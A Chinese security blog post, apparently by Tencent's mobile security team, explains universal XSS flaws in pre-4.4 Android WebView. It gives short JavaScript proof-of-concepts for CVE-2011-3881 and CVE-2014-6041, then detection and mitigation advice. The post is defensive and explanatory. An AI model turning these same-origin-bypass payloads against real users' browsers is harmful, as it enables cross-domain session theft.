Android安全之WebViewUXSS漏洞

Android安全之WebViewUXSS漏洞

  • 0X01 前言

XSS是我们比较熟悉的一种攻击方式,包括存储型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另外一种不同的漏洞类型,主要体现在漏洞的载体和影响范围上。
XSS问题源于某一个WEB站点或应用存在安全问题,但受同源策略的约束,攻击者只能访问存在漏洞的站点的回话信息,无法访问其他域的回话信息。
UXSS则主要源于浏览器或浏览器扩展程序的安全缺陷,不需要网站本身存在漏洞也可以触发漏洞,攻击者可以获取到浏览器打开和缓存的所有页面(不同域)的会话信息,因此UXSS漏洞的杀伤力极强。
由于Google把WebKit移植到了Android上,并将其作为WebView组件封装在SDK中,但一些之前出现在PC版chrome的WebKit漏洞在SDK中并未修复,因此历史的悲剧在android上再一次上演:
 图片描述
 
相关漏洞可以上https://bugs.chromium.org/p/c...搜索。下文介绍几个对应的漏洞。
 

  • 0X02 CVE-2011-3881

WebKit, as used in Google Chrome before 15.0.874.102 and Android before 4.4, allows remote attackers to bypass the Same Origin Policy and conduct Universal XSS (UXSS) attacks via vectors related to
(1) the DOMWindow::clear function and use of a selection object,
(2) the Object::GetRealNamedPropertyInPrototypeChain function and use of an proto property,
(3) the HTMLPlugInImageElement::allowedToLoadFrameURL function and use of a javascript: URL,
(4) incorrect origins for XSLT-generated documents in the XSLTProcessor::createDocumentFromSource function, and
(5) improper handling of synchronous frame loads in the ScriptController::executeIfJavaScriptURL function.

该漏洞主要由于HTMLPlugInImageElement::allowedToLoadFrameURL函数中对Javascript URL地址校验不足,对源检测不全导致的跨域问题:
POC:

<script>window.onload = function(){
    object = document.createElement("object");
    object.data = "http://google.com/";
    document.body.appendChild(object);
    object.onload = function() {
    object.data = "javascript:alert(document.body.innerHTML)";
    object.innerHTML = "foo";
    }
}</script>

 

  • 0X03 CVE-2014-6041

The Android WebView in Android before 4.4 allows remote attackers to bypass the Same Origin Policy via a crafted attribute containing a u0000 character, as demonstrated by an onclick="window.open ('\u0000javascript:  sequence to the Android Browser application 4.2.1 or a third-party web browser.
 
由于很多厂商都是直接使用系统自带的WebView,这将该漏洞的影响进一步扩大化,致使当时很多主流的应用纷纷中枪。
POC:

<input type=button value="test" onclick="
  a=document.createElement('script');
  a.id='AA';
  a.src='\u0000https://js.stripe.com/v2/';
  document.body.appendChild(a);
  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}
else{alert(2);}}, 400);
return false;">

 

  • 0X04 检测

这类漏洞可以通过御安全动态的方式进行自动化的检测,相关检测样例可以从https://bugs.chromium.org/p/c...(bugid)中查询到。
 

  • 0X05 安全建议

前面提到的这些UXSS漏洞都已经在Android 4.4中修复,同时它也提供了自动升级webkit的功能,以便及时修复漏洞。
 
用户:
1)        尽量采用最新版的Android系统
2)        尽量不要随意点击安全性未知的链接
厂商:
1)        客户端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳转前进行跨域判断
2)        使用最新的Webkit内核,但APK的size会变大,并且后续需要跟进Google Webkit官方进行更新。
3)        客户端对iframe object标签属性进行过滤
4)    定期使用漏洞工具检测(如御安全的漏洞库将根据市场出现的样本同步更新)

 

  • 0X06 参考

http://drops.wooyun.org/tools...
https://bugs.chromium.org/p/c...
https://security.tencent.com/...
 
腾讯御安全技术团队


移动安全防护技术
关注移动移动安全防护技术,共分享相关技术干货

腾讯御安全 — 是由腾讯手机管家为服务广大移动应用开发者推出的专业App安全防护平台。APP漏洞扫描、APP...

31 声望
11 粉丝
0 条评论
推荐阅读
腾讯御安全深度解析暗云Ⅲ
前面对暗云的分析报告中,腾讯电脑管家安全团队和腾讯御安全基本摸清暗云Ⅲ的感染方式和传播方式,也定位到被感染暗云Ⅲ的机器会在启动时从服务端下载任务脚本包——ndn.db文件,且该文件会常进行更换。此外,撰写本文...

YAQ御安全阅读 3.4k

网易云音乐开源全链路埋点方案-曙光埋点(dawn)
网易云音乐开源了曙光埋点 dawn,一个跨多端的全链路埋点解决方案,旨在构造一个完美的数据理想国。曙光埋点创造性的提出了埋点虚拟树(VTree),并在此基础上实现了诸多能力,解决大前端侧埋点困难、精度差、不...

云音乐技术团队3阅读 2.4k

封面图
直播回顾 | 点击率提升400%,Ta是怎么做到的?
Discovery第18期直播已于3月30日圆满结束,本期直播邀请天眼查做客直播间,从天眼查与华为Push用户增长服务合作历程切入,聚焦用户增长,分享提升应用活跃度和渠道ROI的经验与见解。一起来回顾本期精彩内容吧!

HMSCore阅读 6.4k

Android Crash 前的最后抢救
众所周知,当 Andoird 程序发生未捕获的异常的时候,程序会直接 Crash 退出。而所谓安全气囊,是指在 Crash 发生时捕获异常,然后触发兜底逻辑,在程序退出前做最后的抢救。

xiangzhihong1阅读 1.3k

前端安全13条,除了XSS/CSRF你还知道哪些?
大家好,我是沐华。最近面了一些前端,发现每次问到安全相关的问题,一些面试者只能说上来 XSS、CSRF、中间人攻击,就没了,于是写了这篇文章,总结了前端安全相关的点,给大家查缺补漏

沐华2阅读 266

封面图
教你如何在 Andorid 上使用OpenAI API 调用ChatGpt
现在Chat GPT功能越来越强了,几乎你想问实际问题它都能给你回答。正好,小组结课的 Android项目 有一个解梦的功能。正好调用chatGpt的Api来实现。下面就来简单实现在Andorid项目中打造一个简易的聊天机器人。

weiweiyi1阅读 998

Linux下编译WebRTC(Linux和Android版本)
随着新冠疫情的影响,这两年音视频的需求呈爆发式增长。在音视频领域中,WebRTC可以说是一个绕不开宝库,包括了音视频采集、编解码、传输、渲染的全过程。本文主要记录下在Linux平台上编译WebRTC Linux和Android...

吴尼玛阅读 3.3k评论 2

腾讯御安全 — 是由腾讯手机管家为服务广大移动应用开发者推出的专业App安全防护平台。APP漏洞扫描、APP...

31 声望
11 粉丝
宣传栏